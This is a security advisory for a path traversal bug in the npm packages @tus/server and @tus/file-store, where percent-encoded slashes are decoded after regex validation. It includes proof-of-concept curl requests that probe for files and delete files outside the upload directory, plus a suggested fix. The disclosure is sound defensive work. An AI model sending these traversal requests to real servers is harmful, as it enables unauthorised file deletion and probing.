Skip to content

Path traversal via decode-after-regex in getFileIdFromRequest

Critical
Murderlon published GHSA-5hmx-qq2q-5m56 Aug 9, 2026

Package

npm @tus/file-store (npm)

Affected versions

<= 2.1.0

Patched versions

2.1.1
npm @tus/server (npm)
>= 1.0.0-beta.5, <= 2.4.2
2.4.3

Description

Summary

@tus/server derives the upload id from the request URL with a regex intended to confine it to a single path segment, then applies decodeURIComponent to the matched value. The regex runs against the raw (still percent-encoded) URL, so an encoded path separator (%2F) passes the regex and is decoded into a real / afterwards. The id then reaches the data store and file store with no containment check, and path.resolve/path.join resolve it outside the configured upload directory. The result is a network-reachable path traversal with no authentication enforced by the library.

Root cause

packages/server/src/handlers/BaseHandler.ts:

const reExtractFileID = /([^/]+)\/?$/

getFileIdFromRequest(req: Request) {
  const match = reExtractFileID.exec(req.url as string)
  if (!match || this.options.path.includes(match[1])) {
    return
  }
  return decodeURIComponent(match[1])   // decoded AFTER the segment regex
}

req.url is the raw request target; Node does not decode %2F, so reExtractFileID sees no literal slash and matches the whole encoded segment. decodeURIComponent then turns %2F into /.

The returned id flows, unsanitized, into:

  • @tus/utils FileKvStore.resolve: path.resolve(this.directory, ${key}.json) (get/set/delete of upload metadata).
  • @tus/file-store create/read/write/remove: path.join(this.directory, file_id) and fs.unlink(`${this.directory}/${file_id}`).

path.resolve/path.join collapse .., so the operation escapes this.directory.

Impact (default Server + FileStore, no getFileIdFromRequest override)

An attacker who can reach the endpoint can:

  • Read .json files outside the upload directory, in a limited way. A 410-vs-404 side channel reveals whether a given .json path exists and parses as JSON. When a same-name non-.json file also exists, the parsed size / metadata / creation_date fields are reflected in HEAD response headers.
  • Delete arbitrary files outside the upload directory via DELETE. The default code path calls FileStore.remove -> fs.unlink on the traversed path, with no prior lookup gate.
  • Modify/append to arbitrary files via PATCH, and stream arbitrary file contents via GET, when a suitable .json "twin" exists at the target path. GET additionally requires its size to match the target file. Under the default namingFunction (crypto.randomBytes, which ignores request input), the attacker cannot create this twin.

The library does not enforce authentication. onIncomingRequest runs for every affected method and can enforce per-ID authorization; deployments that only authenticate the caller remain affected.

Affected versions

  • @tus/server: 1.0.0-beta.5 through 2.4.2 (all stable 1.x and 2.x releases).
  • @tus/file-store: all tagged versions through 2.1.0 lack path containment.

Reproduction

Default-config server (no auth):

import { Server } from '@tus/server'
import { FileStore } from '@tus/file-store'
new Server({ path: '/files', datastore: new FileStore({ directory: '/tmp/up' }) }).listen(7777)

Existence oracle (410 = path exists and parses; 404 = absent):

echo '{}' > /tmp/proof.json                       # victim file OUTSIDE /tmp/up
curl --path-as-is -i localhost:7777/files/..%2Fproof              # -> 410  (reads /tmp/proof.json)
curl --path-as-is -i localhost:7777/files/..%2Fdoes-not-exist     # -> 404
curl --path-as-is -i localhost:7777/files/..%2F..%2Fproof         # -> 404  (one level too deep -> /proof.json)

Arbitrary file deletion outside the upload directory:

echo hi > /tmp/victim; echo '{}' > /tmp/victim.json
curl --path-as-is -X DELETE -H 'Tus-Resumable: 1.0.0' localhost:7777/files/..%2Fvictim
# -> 204; /tmp/victim and /tmp/victim.json are removed

All of the above was verified end to end (1.10.2 and current main/2.4.2), including arbitrary write/append via PATCH and full-file read via GET when a .json twin is present.

Suggested fix

Validate the id after decoding and reject any path separator, .., or NULL before it reaches the stores, e.g. in getFileIdFromRequest:

const id = decodeURIComponent(match[1])
if (/[\\/]|\.\.|\x00/.test(id)) return   // or throw
return id

As defense in depth, FileKvStore.resolve and FileStore path construction should additionally verify that the resolved path remains within this.directory.

Credits

I would like to request a CVE for this bug, the credit name is: Malik (m411k) of Leet Solutions

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Relative Path Traversal

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as .. that can resolve to a location that is outside of that directory. Learn more on MITRE.

Credits